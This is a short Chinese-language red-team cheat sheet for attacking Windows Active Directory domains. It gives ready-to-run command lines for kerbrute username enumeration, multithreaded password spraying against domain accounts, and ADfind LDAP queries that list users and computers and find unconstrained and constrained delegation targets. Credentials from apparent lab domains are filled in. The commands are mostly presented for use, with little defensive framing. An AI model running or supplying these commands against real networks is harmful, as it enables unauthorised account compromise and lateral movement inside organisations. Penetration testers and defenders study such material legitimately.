攻击思路

1、通过nltest或者nbtscan找到域控,并且可以建立空连接
2、找到域控,但是无法建立空连接
3、没找到域控,但是通过nbtscan知道了域的名字

域用户名爆破

kerbrute.exe userenum -d god user.txt

  • userenum 是用户爆破功能4
  • -d god 是指定域5
  • user.txt 是本地字典,每行是用户名

域用户名密码爆破

通过上一步kerbrute.exe 获取到的域用户名进行弱口令爆破

Usage: 
BlastDomainUserPwd.exe \<domainComputerIp> <domainUser.txt> \<password> \<t_num>

BlastDomainUserPwd.exe \\192.168.52.29 domainUser.txt password 100

BlastDomainUserPwd.exe \\域机器IP 域用户名字典 尝试爆破的密码 多线程数目

LDAP

轻量⽬录访问协议,是⼀种⽤来查询与更新 Active Directory 的⽬录服务通信协议。AD 域服务利⽤ LDAP 命名路径(LDAP naming path)来表示对象在 AD 内的位置,以便 ⽤它来访问 AD 内的对象,默认端⼝ 389

ADfind

通过 ADfind 获取域内⽤户列表信息
adfind.exe -h 10.10.10.10 -u de1ay\mssql -up 1qaz@WSX -b dc=de1ay,dc=com -f "objectcategory=user"

通过 ADfind 获取完整机器列表信息
adfind.exe -h 10.10.10.10 -u de1ay\mssql -up 1qaz@WSX -b dc=de1ay,dc=com -f "objectcategory=computer"

查询域内⾮约束委派(机器账户)
adfind.exe -h 10.10.10.10 -u redteam\saulgoodman -up Saul!@#456 -b "DC=redteam,DC=com" -f "(&(samAccountType=805306369) (userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查询域内⾮约束委派(服务账户)
adfind.exe -h 10.10.10.10 -u redteam\saulgoodman -up Saul!@#456 -b "DC=redteam,DC=com" -f "(&(samAccountType=805306368) (userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查询域内约束委派(⽤户账户)
AdFind.exe -h 10.10.10.10 -u redteam\saulgoodman -up Saul!@#456 -b "DC=redteam,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msDS-AllowedToDelegateTo
查询域内约束委派(机器账户)
AdFind.exe -h 10.10.10.10 -u redteam\saulgoodman -up Saul!@#456 -b "DC=redteam,DC=com" -f "(&(objectCategory=computer)(objectClass=computer) (userAccountControl:1.2.840.113556.1.4.803:=16777216))" msDS-AllowedToDelegateTo

通过 csvde 搜集域内各类信息

通过 Ad Explorer 图形化查看域内各类信息